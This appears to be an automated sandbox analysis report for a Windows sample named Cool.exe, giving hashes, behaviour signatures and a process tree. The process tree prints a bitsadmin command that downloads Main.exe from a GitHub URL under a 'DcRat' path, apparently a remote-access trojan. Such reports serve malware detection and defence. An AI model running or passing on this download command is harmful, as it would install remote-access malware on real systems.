Analysis

  • max time kernel
    15s
  • max time network
    12s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250313-en
  • resource tags

    arch:x64arch:x86image:win11-20250313-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26/03/2025, 23:48

General

  • Target

    Cool.exe

  • Size

    88KB

  • MD5

    a75ebda9ebaa36628773b55f147b8e7c

  • SHA1

    ba96cedc8bb21ea977ab4eced824bf6d4544550e

  • SHA256

    44c2f99381797b2af79a7d144e7ef49fc326b430f47bc91d2a8934508bfb001a

  • SHA512

    d2a5dbb1251637f347aee65da7a537afc6f59ced40a36ad524fecd9e4479a9e15a360d7aad4ed6879477a32c64ddcd133f5256444d0fc8627383de374073e3b8

  • SSDEEP

    1536:x7f65g9OX2CLGAApICdOk/dYLAZXdlItBGTjeIOlnToIfcNO9:FnlVICUkLrGGTINTBfc4

Score
8/10

Malware Config

Signatures

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Cool.exe
    "C:\Users\Admin\AppData\Local\Temp\Cool.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3248
    • C:\Windows\system32\cscript.exe
      "C:\Windows\sysnative\cscript" C:\Users\Admin\AppData\Local\Temp\6AD0.tmp\6AD1.tmp\6AE1.vbs //Nologo
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Windows\System32\openfiles.exe
        "C:\Windows\System32\openfiles.exe" >nul 2>nul
        3⤵
          PID:2656
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c echo RandomCommand1
          3⤵
            PID:1420
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo RandomCommand2
            3⤵
              PID:6136
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer myDownloadJob https://github.com/jijhihubh/DcRat/releases/download/v1.0.6/Main.exe C:\Users\Admin\AppData\Local\Temp\Main.exe
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:872
              • C:\Windows\system32\bitsadmin.exe
                bitsadmin /transfer myDownloadJob https://github.com/jijhihubh/DcRat/releases/download/v1.0.6/Main.exe C:\Users\Admin\AppData\Local\Temp\Main.exe
                4⤵
                • Download via BitsAdmin
                PID:4960

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\6AD0.tmp\6AD1.tmp\6AE1.vbs

          Filesize

          5KB

          MD5

          4cad577a3fc815eb25f66aea7f86cf19

          SHA1

          d6b51608d8fc9247e86d65bf749ae9b8a1374d01

          SHA256

          15e2bd2647fade0c24d9e56309c7856544c599eefa39b2b75aa70083026a4df0

          SHA512

          ea11615f885fb11033166aae97c24e36ccbf362870d3ff25aec2e7e008e8055c61e62c44511d469576b5ccb7a7e05b7104da4c7f22f645e5304479e3d7c1a5cf